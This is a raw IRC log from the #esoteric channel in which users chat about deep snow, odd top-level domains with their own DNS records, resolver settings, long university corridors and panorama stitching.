0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268846412 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :How deep snow have you personally seen in "real life"? < 1268846430 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe 5-6 inches in the deepest parts < 1268846448 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, heh. Look at http://omploader.org/vM3YyMw then < 1268846450 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :took that today < 1268846456 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :image? < 1268846457 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and well, it has started melting now < 1268846459 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, yes < 1268846460 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what else? < 1268846469 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and yes, that's pretty thick < 1268846475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, not to me :P < 1268846488 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The snow was deeper than that here last year. < 1268846489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and not compared to how it was before melting... < 1268846509 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, well as I said it started melting. About a week or two ago < 1268846524 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, I don't live in the frozen north :P < 1268846569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, what do you mean? < 1268846604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth at one picture from my mobile phone. It is just black in the lower part < 1268846612 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I mean, quite simply, that I don't live in the frozen north. < 1268846614 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lik not all image data was captured or something < 1268846625 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Perfectly horizontal line? < 1268846632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, yes: http://omploader.org/vM3YyNw < 1268846655 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Heh, funny, it shows white for me :P < 1268846659 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It must truly not have all the image data. < 1268846666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, well, it shows black in eog < 1268846669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268846672 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, perhaps < 1268846673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that's sad < 1268846684 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :was going to make a panorama including that image < 1268846773 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Not now you're not! < 1268846785 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[1189626.022063] googleearth-bin[3782]: segfault at 0 ip (null) sp 00000000fff4cb24 error 14 in googleearth-bin[8048000+49000] <-- argh < 1268846817 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay, now it is suddenly no longer reproducible < 1268846817 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth < 1268846847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay... now it crashes at another point instead < 1268846849 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's it? :P < 1268846859 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(the snow) < 1268846865 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I was reading an article on making stupidly small executables earlier today < 1268846873 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and now I recognise that 8048000 straight off < 1268846885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, well, compared to UK! < 1268846897 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the canal here froze over over the winter < 1268846909 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :some people were rather unwisely trying to walk on it, but it could bear their weight < 1268846919 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, someone tried to drive a car down it, and it /couldn't/ bear its weight < 1268846922 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it hit the local news < 1268846928 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :they got quite a way, though < 1268847031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: the canal here froze over over the winter <-- is that rare? < 1268847037 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268847042 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :never known it to happen before < 1268847053 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :at least, it's common for it to get a bit of ice on it < 1268847056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, here we have regular winter roads on the lake < 1268847059 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but not for it to be able to bear weight < 1268847066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for cars, some winters even for trucks < 1268847075 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I think it closed for this season last week or so < 1268847081 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(the one close to here that is) < 1268847081 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it's so nice talking to scandinavians, they're the only people (apart from possibly russians, some canadians, and eskimos) who don't think the UK is stupidly cold < 1268847096 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, we think it is stupidly rainy < 1268847103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, also what about Germans? < 1268847117 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I rather like it here, but maybe I'm just used to it < 1268847275 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, measuring that corridor from the pano yesterday in google earth gives it as roughly 60 meters between the nearest doors visible at either end < 1268847287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, perhaps 50 < 1268847289 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, I'm disappointed at the fact that someone put an URL shortener at http://to./ < 1268847309 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to.? < 1268847312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth is that < 1268847315 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :a TLD < 1268847318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well yes < 1268847323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but you can't put a site at it < 1268847324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :can you? < 1268847327 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :someone bought the A record for a TLD just so they could put an URL shortener there < 1268847330 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :of course you can < 1268847337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, is that allowed? < 1268847340 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can add an A record for any domain if you own it < 1268847350 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and nothing in the spec says you can't < 1268847364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, but is it allowed by policy... < 1268847378 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, /someone/ did it < 1268847390 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and allegedly ICANN's planning to sell brand new TLDs to companies < 1268847399 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm thinking a TLD owner doesn't have very many constraints as to what they can do with it. < 1268847483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I took a picture at near the end of a 240 meter corridor at the university (length estimated from google earth) < 1268847487 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sadly it was rather blurry < 1268847499 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and didn't really show how long it was < 1268847506 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there was an MX record for mailto:i@an for a while, IIRC < 1268847507 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I wonder how much money Tonga gets from the (ab)use of their .to TLD. < 1268847510 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe still is < 1268847518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, sorry, 270 < 1268847520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not 240 < 1268847531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, and .nu too < 1268847532 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I seem to remember that when Tuvalu sold .tv, it was a significant amount of money for every member of its population < 1268847540 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :a few hundred thousand dollars or so < 1268847543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what is an? < 1268847545 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no wonder they sold it < 1268847562 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'm not sure; who really cares, I doubt the original owner of the TLD has much correlation with its use < 1268847564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, per person!? < 1268847568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, that were given out? < 1268847570 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :an. currently seems to have just NS (and the SOA) entries. < 1268847573 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also what domain did they get after? < 1268847614 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :.an: Netherlands Antilles, previously known as the Netherlands West Indies or Dutch Antilles/West Indies. < 1268847630 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: according to Wikipedia Tuvalu has a population of 12373 < 1268847632 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There were TLDs with MX records though, I think we dig'd for those not long ago. < 1268847656 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :presumably, with all the money they got from the sale they have no problems buying domains elsewhere if they need them < 1268847684 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what a pity there are 28 persons more than the ideal! < 1268847701 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :presumably the value changes over time < 1268847718 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is no se. < 1268847721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but there is www.se < 1268847728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some domain registrar < 1268847742 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ai. 14400 IN MX 10 mail.offshore.ai. < 1268847745 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That was one of them. < 1268847761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ai? < 1268847769 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :So you could get x@ai as a working email address. < 1268847781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, xai? is that supposed to mean anything? < 1268847785 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Except that there's probably quite a lot of MTAs that would add a site-specific prefix there. < 1268847791 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Just "x" as in "arbitrary". < 1268847794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268847809 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :evil.ai would be a nice domain < 1268847829 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :.ai is for Anguilla, another one of those tiny specs in the Caribbean. < 1268847832 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that yuoswhatever would probably prefer good.ai, unless I misremember what his opinion was < 1268847843 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"The total land area of the territory is 91 km2 (35 sq mi), with a population of approximately 13,500 (2006 estimate)." < 1268847900 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Heh, www.ai: "Anguilla's consumption-based tax system is hospitable to productive firms that create income, profits and wealth. And Anguilla has strict secrecy laws, fresh air, and fantastic beaches." < 1268847920 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :What a delightfully coy way of saying "we do tax evasion here". < 1268847939 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1268847953 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :An .ai domain is $100 for 2 years, available to anyone. < 1268847957 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could try emailing webmaster@ai and asking if they're offering mail addresses there < 1268847968 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :um, not webmaster < 1268847971 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :@ai ?? < 1268847974 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :not @something.ai ? < 1268847982 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what's the address to contact the mail server owner? < 1268847990 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: you can put DNS records in for a TLD if you own it < 1268848002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION watches one now slush filled street in google earth's street view
< 1268848004 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that is so cool < 1268848009 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is amazing that it is the same place < 1268848021 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And, as was just mentioned, ai. is one of the relatively few ones that has one already. < 1268848026 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ICANN will truly jump the shark if it ever offers a 0-character TLF < 1268848028 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*TLD < 1268848032 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which would presumably be http://./ < 1268848044 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and a subdomain would be http://domain../ < 1268848048 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, is that even possible? < 1268848053 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That one I'm not so sure is legal. < 1268848065 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(in theory, google.com is google.com. etc but people pretty much always leave off the final dot) < 1268848097 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(and the "correct" meaning for http://google.com/ is http://google.com.localhost./) < 1268848116 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, no it isn't. It will search in the default search whatever for domains < 1268848132 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from my resolv.conf I think that is "domain lan" < 1268848135 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not 100% sure though < 1268848146 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, I was trying to simplify a bit < 1268848154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm no < 1268848156 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but the idea is that it uses relative-to-local addressing < 1268848157 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is a search line < 1268848161 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :according to man page < 1268848161 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you miss off the final . < 1268848198 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268848265 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ndots:n < 1268848266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : sets a threshold for the number of dots which must appear in a name given to res_query(3) (see resolver(3)) before an initial absolute query will be made. The default for n is 1, < 1268848266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : meaning that if there are any dots in a name, the name will be tried first as an absolute name before any search list elements are appended to it. The value for this option is < 1268848266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : silently capped to 15. < 1268848272 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why is it "silently capped to 15" < 1268848273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1268848284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that so makes no sense < 1268848307 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah, ok < 1268848343 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so a.b.c.d.e.f.g.h.i.j.k.com might be self-relative, but a.b.c.d.e.f.g.h.i.j.k.l.com always means a.b.c.d.e.f.g.h.i.j.k.l.com.? < 1268848383 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :RFC1035 (STD 13) specifies " ::= [ [ ] ]" for the names, though that's only for "the prudent user" who selects a name that "will result in fewer problems with many applications that use domain names", not exactly a real rule. Some of the later, updating RFCs, could possibly specify a real requirement there. < 1268848427 0 :kar8nga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268848437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, guess so < 1268848466 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Technically the DNS on-wire format uses (length, data)-style structures for labels, so I guess a zero-length name might actually work. < 1268848469 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :let's put that in the HackEgo quotes files, just to completely mystify anyone who looks back along them in the future < 1268848477 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what does that format mean? < 1268848494 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :`addquote so a.b.c.d.e.f.g.h.i.j.k.com might be self-relative, but a.b.c.d.e.f.g.h.i.j.k.l.com always means a.b.c.d.e.f.g.h.i.j.k.l.com.? < 1268848500 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Which format? < 1268848506 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :138| so a.b.c.d.e.f.g.h.i.j.k.com might be self-relative, but a.b.c.d.e.f.g.h.i.j.k.l.com always means a.b.c.d.e.f.g.h.i.j.k.l.com.? < 1268848512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, the one you quoted above < 1268848514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is it for < 1268848544 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The one? It's for a single component in a domain name. Well, a suggestion for one. < 1268848561 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you mean, they aren't specified at all? < 1268848601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ah < 1268848605 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what isn't? < 1268848620 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :domain name components < 1268848626 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: They're specified as a sequence of octets (with a maximum length restriction) in the original standard. But a later document might add more rules. < 1268848632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`addquote let's put that in the HackEgo quotes files, just to completely mystify anyone who looks back along them in the future < 1268848634 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :139| let's put that in the HackEgo quotes files, just to completely mystify anyone who looks back along them in the future < 1268848649 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'm not sure if that makes that even more mystifying or not < 1268848652 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: The justification there is that DNS supposed to be able to accommodate all kinds of legacy naming schemes. < 1268848668 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"sequence of octets", you could have /so/ much fun with that if you could somehow slip it past ICANN < 1268848690 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :buy the TLD consisting of three NUL characters! < 1268848717 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I should go home < 1268848719 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :bye everyone < 1268848720 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268848723 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"The DNS specifications attempt to be as general as possible in the rules for constructing domain names. The idea is that the name of any existing object can be expressed as a domain name with minimal changes." < 1268848797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : "sequence of octets", you could have /so/ much fun with that if you could somehow slip it past ICANN <-- indeed < 1268848831 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, the actual standard document that grew out of the RFC says: "One label is reserved, and that is the null (i.e., zero length) label used for the root." That might imply that you don't get to use the null label as a component of a domain name elsewhere. < 1268848880 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Indeed: "Internally, programs that manipulate domain names should represent them as sequences of labels, where each label is a length octet followed by an octet string. Because all domain names end at the root, which has a null string for a label, these internal representations can use a length byte of zero to terminate a domain name." < 1268848908 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But the three-NUL name should be just fine and dandy. < 1268848920 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Users might have some trouble typing that in a browser, though. < 1268848937 0 :amca!unknown@unknown.invalid QUIT :Quit: Farewell < 1268848986 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : But the three-NUL name should be just fine and dandy. <-- ? < 1268849036 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The one that ais523 suggested up there. < 1268849044 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ah < 1268849062 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268849079 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, does any program actually represent it like that I wonder < 1268849090 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :except perhaps dig, bind and a few apps like that < 1268849200 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess regular strings (with dots in it) are more likely. < 1268849227 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Technically speaking you should be able to embed dots in the name; I wonder if dig & friends has some escape sequences for that. < 1268849483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268849486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1268849601 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268850223 0 :BeholdMyGlory_!~behold@d83-183-181-73.cust.tele2.se JOIN :#esoteric < 1268850249 0 :BeholdMyGlory_!unknown@unknown.invalid QUIT :Changing host < 1268850249 0 :BeholdMyGlory_!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268850318 0 :BeholdMyGlory_!unknown@unknown.invalid NICK :BeholdMyGlory < 1268850591 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, btw that blurry image from the ~270 m corridor: http://omploader.org/vM3YydA < 1268850594 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not very good < 1268850613 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, but there were people around, so best photo I could get < 1268850698 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You could try the "put the camera on tripod, take a metric bazillion of pictures, align them very well, take the median value of each pixel" trick to get a completely non-peopled version. Though someone might wonder what you're doing there. < 1268850726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, indeed... < 1268850865 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The main building here has one ~150 m corridor, but there's an I-think-it's-always-closed door right there in the middle where it changes from "old side" to "new side". < 1268850887 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(That ~150 m is very approximative, I don't have g-earth installed and maps.google doesn't have a nice measurement tool.) < 1268850888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, huh < 1268850897 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so how to people walk between those parts? < 1268850924 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I mean, it's not closed-as-in-locked, just closed-as-in-it-doesn't-stay-open-but-closes-automatically-when-you-let-go. < 1268850947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268850972 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, iirc this 240 meters one is all open usually < 1268850978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there are doors that can be closed along it < 1268850994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc with those electromagnet thingies for auto closing in case of fire < 1268851091 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Actually it seems to be pretty much exactly 150 m; the muncipal "map service" site (http://kartat.espoo.fi/) has a measure-distances tool. < 1268851123 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1268851337 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's this "tube" (a glass-walled bridge on second-floor-height) between the Computer Science building and the "TUAS" building (industrial engineering and management, automation and systems technology); if you cheat a bit and count that as a part of the same "corridor", it's a bit over 200 m, I think. < 1268851469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268851498 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I only counted the actual corridor < 1268851526 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which ends at a door at one end of the building, but at the other end ends in a restaurant and a door to side of the building < 1268851537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if I counted the entire building it would be over 300 meters < 1268851555 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(aprox, I don't have google earth open any longer) < 1268851767 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :argh, gimp < 1268851781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :gimp's* l10n to Swedish save dialog for tif < 1268851783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is horrible < 1268851799 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"deflate" has been translated to "packa ihop" (lit: "pack together") < 1268851821 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which means I was only able to find it thanks to remember the position in the list of compression algorithms < 1268852372 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268853044 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric : if ie < len(args): < 1268853044 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric : ^ < 1268853044 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :SyntaxError: invalid syntax < 1268853046 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1268853106 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(That caret points at the :, lest that was unclear) < 1268853305 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shrugs
< 1268853647 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate syns det suger å sortere i MSN/Gtalk/Facebook kontakter! < 1268853659 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :think it sucks to sort in MSN / Gtalk / Facebook contacts! < 1268854105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, actually the image I have data might be enough even though one image is corrupt < 1268854113 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or truncated rather I guess) < 1268854141 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I wonder, rectilinear looks best, but the image data covers too much for that... < 1268854149 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :any good idea? < 1268854160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I want it to look rectilinear near the middle < 1268854176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :without being so awkward towards the edges < 1268854288 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1268854336 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't really know. You could try to use some sort of external panorama-viewer thing to look at it if you like the rectilinear look. < 1268854368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well, sure, but I want more data towards the edges :/ < 1268854439 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also, argh, I want wb from one image, and exposure from another < 1268854464 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268854644 0 :tombom_!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1268854809 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1268854858 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268855313 0 :songhead95!unknown@unknown.invalid QUIT :Quit: songhead95 < 1268855396 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1268855475 0 :dbc!unknown@unknown.invalid QUIT :Quit: Seeeeeya < 1268855492 0 :songhead95!unknown@unknown.invalid PART #esoteric :? < 1268855658 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ah found a way: rectilinear with a different center of image < 1268855681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that yields an interesting result. Somewhat like perspective correction. < 1268856320 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: rectilinear huh < 1268856322 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;x < 1268856418 0 